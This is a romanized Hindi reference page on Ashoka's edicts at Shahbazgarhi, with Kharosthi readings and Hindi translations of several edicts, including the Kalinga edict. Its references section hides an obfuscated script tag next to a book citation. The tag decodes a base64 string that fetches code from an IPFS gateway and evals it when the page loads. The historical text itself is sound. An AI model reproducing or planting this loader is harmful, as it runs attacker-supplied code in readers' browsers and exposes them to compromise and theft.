अशोक के शिलालेख- शाहबाजगढ़ी
shahabajagadhi athava shahabajagadhi (aangrezi: Shahbazgarhi) maury samrat ashok se sambandhit mahattvapoorn aitihasik sthal hai. yah pakistan ke uttari bhag mean khaibar-pakhtoonakhva prant ke maradan zile mean sthit hai aur ek puratatv-sthal hai. yahaan tisari shatabdi ee. poo. kal ke maury rajavansh ke samrat ashok ke shila par abhilekh ka sabase prachin udaharan milata hai, jo kharoshthi lipi mean hai. yah isalie bhi mahattvapoorn hai, kyoanki bharatiy upamahadvip mean likhaee ka yah sabase purana jnat namoona hai.
ashok ka abhilekh
shahabajagadhi ke apane abhilekh mean maury samrat ashok ne samaj aur jiv-hiansa ka nishedh kiya hai. kiantu yah nishedh pratyaksh roop se n karake usane apani pakashala mean ki jane vali jivahiansa ke nishedh ke roop mean vyakt kiya hai.
- devananpriy ka shabdarth 'devata ka pyara' hai. yah eesa-poorv ke kal mean maharajaoan ki adarasoochak upadhi thi aisa pratit hota hai. ashok ke pautr 'dasharath' aur sianhal naresh tiss ke lie bhi isaka prayog hua hai. sambhavat: usaka tatpary 'maharaj' ya 'maharajadhiraj' tha.
- athavean shilalekh ke shahabajagadhi, kalasi aur manasehara ke path se 'devananpriy' aur giranar path mean 'rajano' saman bhav se prayukt hua hai jo is dharan ki pushti karata hai.
- jis bhav se kushan-shasak devaputr kahe gaye haian athava gupt-shasakoan ne apane sikkoan par sucharitai: divan jayati (apane sucharitr se dev-vas, sthan jitane) ki ghoshana ki hai, vahi bhav yahaan bhi parilakshit hota hai.
| kramaank | shilalekh | anuvad |
|---|---|---|
| 1. | ayan dhramadipi devan prias rane likhapitu [.] hid no kichi jive ar [bhi] tu prayuhotave [no pi ch samaj katav [.] bahuk hi doshan sam [j] s devan priyo priadrashi ray dekhati [.] | yah dharmalipi devoan ke priy priyadarshi raja dvara likhavayi gayi. yahaan koee jiv mar kar hom n karana chahie. |
| 2. | asti pi ch ekatie samaye sadhumati devan prias priadrashis rane [.] pur mahanasis devanan prias priadrashis ranoan anudivasoan bahuni pranashatasahastrani arabhiyisu supathaye [.] so idin yad ayan | kiantu devoan ke priy priyadarshi raja se achchhe (shreshth) mane gaye katipay samaj bhi hai. pahale devoan ke priy priyadarshi raja ke mahanas (pakashala mean pratidin bahut lakh prani soop (shorabe, bhojan) ke lie mare jate the. aj jab |
| 3. | dhramadipi likhit tad trayo vo pran hananti majur duvi 2 mrugo 1 [.] so pi mrago no dhruvan [.] et pi pran trayo pach n arabhishanti [.] | yah dharmalipi likhi gayi, tab tin hi prani soop (shorabe, bhajan) ke lie mare jate haian- do mor (aur) ek mrig aur vah mrig bhi dhruv (niyat, nishchit) nahian hai. aur ye tin prani bhi pichhe n mare jaeange. |
| kramaank | shilalekh | anuvad |
|---|---|---|
| 1. | devananpriyoan priy[dr] shi raj savatr ichhati savr- | devoan ka priy priyadarshi raja chahata hai ki |
| 2. | prashand vayeyu [.] save hi te samaye bhav-shudhi ch ianchhati | sarvatr sab pashand (panthavale) vas karean. kyoanki ve sabhi [pashand ya panth] sanyam aur bhavashuddhi chahate haian. |
| 3. | jano chu uchavuch-chhando uchavuch-rago [.] te savran ekadesh v | [aantar is karan hota hai ki] jan (manushy) ooanch-nich vichar ke aur ooanch-nich rag ke [hote haian] .[isase] ve poori tarah [apane karttavy ka palan] kareange athava [usake] ek desh (aansh) ka palan kareange. |
| 4. | pi kashanti [.] vipule pi chu dane gras nasti samay bhav- | jisaka dan vipul hai, [kiantu jisamean] sanyam |
| 5. | shudhi kitranat dridh-bhatati niche padhan[.] | bhavashuddhi, kritajnata aur dridhabhakti nahian hai, [aisa manushy] atyant nich hai. |
| kramaank | shilalekh | anuvad |
|---|---|---|
| 1. | adhavashabhiansitas devan prias priadrashis rano kalig vijit [.] diadhamatre pranashatamahastre ye tato apavudhe shatasahastramatre tatr hate bahutavatake v mute[.] | ath varshoan se abhishikt devoan ke priyadarshi raja se kaliang vijit hua. dedh lakh prani yahaan se bahar le jaye gaye (kaid kar liye gaye), sau hazar (ek lakh) vahaan ahat (ghayal) hue; [aur] usase [bhi] bahut adhik sankhya mean mare. |
| 2. | tato pach adhun ladheshu kaligeshu tivre dhrmashilanan dhramakamat dhramanushasti ch devanan priyasar [.] so asti anusochan devanan priyas vijiniti kaligani [.] | atpashchath ab kaliang ke upalabdh hone par devoan ke priy ka dharmavay (dharmapalan), dharmakamata (dharm ki ichchha) aur dharmanushasan tivr hue. so kaliang ke vijeta devoan ke priy ko anushay (anushochan; pachhatava) hai. |
| 3. | avijitan hi vijinamano yo tatr vadh n maranan v apavahoan v janas tan badhan vedaniyamant gurumatan ch devanan priyas [.] idan pi chu tato gurumatataran devanan priyas [.] v tatr hi | kyoanki [maian] vijit [desh] ko avijit hi manata hooan; yadi vahaan jan (manushyoan) ka vadh, maran va apavah (kaid kar le jana) hota hai. yah (vadh adi) devoan ke priy se atyant vedaniy (du:khadayi) aur guru (bhari) mana gaya hai. yah vadh adi devoan ke priy dvara usase bhi adhik bhari mana gaya hai. |
| 4. | vasati braman v shraman v aanne v prashand grahath v yesu vihit esh agrabhuti-sushrush matapitushu sushrush gurunan sushrush mitrasanstutasahayanatikeshu dasabhatakanan sanmapratipati dridhabhatit teshan tatr bhoti apagrathoan v vadhoan v abhiratan v nikramanan [.] yeshan v sanvihitanan [si] naho aviprahinoan e tesh mitrasanstutasahanatik vasan | [kyoanki] vahaan brahman, shraman,doosare pashand (panthavale) aur grihasth basate haian, jisamean ye vihit (pratishthit) haian- sabase pahale (age) bharan [poshan], mata-pita ki shushroosha; mitroan, prashansitoan (ya parichitoan), sahayakoan [tatha] sambandhiyoan ke prati [evan] dasoan aur vetanabhogi naukaroan ke prati samyak bartav [tatha] dridhabhakti. unaka (aise logoan ka) vahaan upaghat (apaghat) ka vadh athava sukh se rahate huoan ka vinishkraman (nishkraman, deashanikala) hota hai. athava jin vyavasthit [logoan] ka sneh akshunn hai, unake mitr, prashansit (ya parichit), sahayakoan aur sambandhiyoan ko vyasan (du:kh) ki prapti hoti hai. |
| 5. | prapunati tatr tan pi tesh vo apaghratho bhoti [.] pratibhang ch etan savran manushanan gurumatan ch devanan priyas [.] nasti ch ekatare pi prashanadaspi n nam prasado [.] so yamatro jano tad kalige hato ch muto ch apavudh ch tato | [isalie] vahaan unaka (mitradi ka bhi) [akshunn sneh ke karan] upaghat ho jata hai. yah dasha sab manushyoan ki hai; par devoan ke priy dvara adhik bhari (du:khad) mani gayi hai. aisa [koee] bhi janapad nahian hai, jahaan brahmanoan aur shramanoan ke varg n hoan. kahian bhi janapad [aisa sthan] nahian hai, jahaan manushyoan ka kisi n kisi pashand (panth) mean prasad (priti, sthiti) n ho. so tab (us samay) kaliang ke upalabdh hone par jitane jan manushy mare gaye, mar gaye aur bahar nikale gaye, unamean se |
| 6. | shatabhage v sahastrabhagan v aj gurumatan vo devanan priyas [.] yo pi ch apakareyati chhamitaviyamate ve devanan priyas yan shakoan chhamanaye [.] y pi ch atavi devanan priyas vijite bhoti t pi anuneti apunijhapeti [.] anutape pi ch prabhave | sauvaan bhag va hajaravaan bhag bhi [yadi ahat hota, mara jata ya nikala jata to] aj devoan ke priy se bhari (khedajanak) mana jata. jo bhi apakar karata hai, [vah bhi] devoan ke priy dvara kshantavy mana gaya hai yadi [vah] kshama kiya ja sake. jo bhi ataviyoan (vany pradeshoan) [ke nivasi] devoan ke priy ke vijit (rajy) mean hai, unhean bhi [vah] shaant karata hai aur dhyanadikshit karata hai. anutap (pachhatava) hone par bhi devoan ke priy ka prabhav unhean kaha [bataya] jata hai, jisamean [ve apane dushkarmoan par] lajjit ho aur n mare jayan. |
| 7. | devanan priyas vuchati tesh kiti avatrapeyu n ch hanneyasu [.] ichhati hi devanan priyoan avrabhutan achhati sanyaman samachariyan rabhasiye [.] eshe ch mukhamute vijaye devan priyas yo dhramavijayoan [.] so chan pun ladho devanan priyas ih ch aanteshu | devoan ka priy bhootoan (praniyoan) ki akshati, sanyam samacharya aur modavritti (mod) ki ichchha karata hai. jo dharmavijay hai, vahian devoan ke priy dvara mukhy vijay mani gayi hai. pun: devoan ke priy ki vah [dharmavijay] yaha [apane rajy mean] aur sab aantoan (simaantasthit rajyoan) mean upalabdh huee hai. |
| 8. | ashapu pi yojan shateshu yatr aantiyoko nam yoraj paran ch ten aantiyoket chature 4 rajani turamaye nam aantikini nam mak nam alikasudaro nam nij chod pand ab tambapanniy [.] evamev hid raj vishavaspi yon-kanboyeshu nabhak nabhitin | [vah dharmavijay] chh: sau yojanoan tak, jahaan aantiyok namak yavanaraj hai aur us aantiyok se pare char raja-turamay (tulamay), aantikini, mak (mag) aur alikasundar namak haian, aur niche (dakshin mean) cho d panday evan tamraparniyoan (tamraparnivaloan) tak [upalabdh huee hai] aise hi yahaan raja ke vishay (rajy) mean yavanoan [aur] kaanbojoan mean, nabhak aur nabhapanti (nabhiti) mean, |
| 9. | bhoj-pitinikeshu andhrapalideshu savatr devanan priyas dhrumanushasti anuvatanti [.] yatr pi devan priyas dut n vranchanti te pi shrutu devanan priyas dhramavutan vidhen dhrumanushasti dhruman anuvidhiyanti anuvidhiyashaanti ch [.] yo ch ladhe etaken bhoti savatr vijayoan savatr pun | bhojoan [aur] pitinikoan mean [tatha] aandhro [aur] pulindoan mean sarvatr devoan ke priy dharmanushasan ka [log] anuvartan (anusaran) karate haian. jahaan devoan ke priy doot n bhi jate haian, ve bhi devoan ke priy ke dharmavritt ko, anuvidhan (acharan) karate haian aur anuvidhan (acharan) kareange. |
| 10. | vijayo pratiraso so [.] ladh bhoti prati dhramavijayaspi [.] lahuk tu kho s prit [.] paratrikev mahaphal menati devan priyo [.] etaye ch athaye ayo dhramadipi di past[.] kiti putr papotr me asu navan vijayan m vijetavik manishu [.] spakaspi yo vijaye chhanti ch lahudandatan ch rochetu [.] tan evan vij [yan] man [tu] | ab tak jo vijay upalabdh huee hai, vah vijay sarvatr pritirasavali hai. vah priti dharmavijay mean gadhi ho jati hai. kiantu vah priti nishchay hi laghutapoorn (kshudr, halaki) hai. devoan ka priy paratrik (paralaukik) [priti anand] ko mahaphalavala manata hai. is arth (prayojan) ke lie yah dharmalipi likhayi gayi, jisamean [jo] mere putr [aur] prapautr hoan, [ve] navin vijay ko prapt karane yogy bhi manean. svaras (apani khushi) se prapt vijay mean [ve] shaanti aur laghudandata ko pasand kare tatha usako hi vijay mane, jo dharmavijay haian. |
| 11. | yo dhrumavijayo [.] so hidalokiko paralokiko [.] savr ch nirati bhotu y stramarati [.] s hi hidalokik paralokik [.] | vah [dharmavijay] ihalaukik [aur] paralaukik [phal denevali hai] jo dharmarati (udyamarati) udyam se utpann anand hai [hai, vahi] sab [prakar ka] anand ho (mana jaye), kyoanki vah (dharm ya udyam ka anand ihalaukik aur paralaukik) [phal denevala hai]. |
| kramaank | shilalekh | anuvad |
|---|---|---|
| 1. | devanan priy priyadrashi ray evan hahit [.] nasti edishan danan yadishan dhramadanan dhramasanstave dhranmasanvibhagoan dhramasambandhoan [.] tatr etan dasabhatakanan sanmapatipati matapitushu sushroosh mitrasanstutanatikanan shramanabrahamanan | devoan ka priy priyadarshi raja is prakar kahata hai-jaisa dharmadan, dharm-sanstav (dharm-acharan), dharm sanvibhag (dharm ka lenaden) va dharmasambandh hai, aisa [aur koee] dan nahian hai. usamean yah hota hai-das (aur) bhrity (naukar) ke prati samyak barttav; mata-pita ki shushroosha, mitroan, sanstutoan (prashansitoan ya parichitoan), sambandhiyoan, shramanoan (aur) brahmanoan ko |
| 2. | danan prananan ananrabho [.] etan vatavoan pitun pi putren pi bhratun pi samiken pi mitrasanstuten av prativeshiyen iman sadhu iman katavoan [.] so tath karantan ialokan ch aredheti paratr ch anatan puannan prasavati | dan (tatha) praniyoan ka analanbh ( n manana). pita, putr, bhrata, svami, mitr, sanstut (prashansit), sambandhi, yahaan tak ki p dosi se bhi yah kaha jana chahie-" yah uttam [hai] yah karttavy [hai] ." aisa karata hua vah [manushy] ihalok ko siddh karata hai aur us dharm-dan se anyatr (paralok mean) anant puny ko utpann karata hai. |
| 3. | ten dhranmadanen[.] | yahi dharm dan hai. |
| kramaank | shilalekh | anuvad |
|---|---|---|
| 1. | atikratnanaantanr devananpriy viharayatr nam nikramishu [.] atr mrugay anani ch hedishani abhiramani abhavasu [1] so devananpriyoan priyadrasi rajar dashavashabhisitoan sato nikrami sabodhian [1] tend dhramayatrayan [1] atr iyan hoti [:-] shraman bramanan drashane hiranapatividhane ch janapadas janas drashanan dhramanushasti [ch] dhramaparipuchh ch tapopayan [.] esh bhuye rati hoti devananpriyas priyadrashis rano bhagi aanni [.] | bahut kal bit gaya, devoan ke priy (raja) vihar (yatra) ke lie nikalate the. yahaan (isamean) mrigaya aur isi prakar ke any abhiram (amod-pramod) hote the. devoan ka priy priyadarshi raja is varshoan se abhishikt hokar jb sanbodhi (bodhagaya, samyakajnan) ko nikala (prapt hua) yah dharmayatra (chali). yahaan (isamean) tab se yah hota hai-
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tika tippani aur sandarbh
- ↑ 1.0 1.1 1.2 1.3 1.4 prachin bharat ke pramukh abhilekh |lekhak: d aau. parameshvarilal gupt |prakashak: vishvavidyalay prakashan, varanasi |prishth sankhya: 14-15, 25-27, 31-32, 34-37 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
sanbandhit lekh
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varnamala kramanusar lekh khoj
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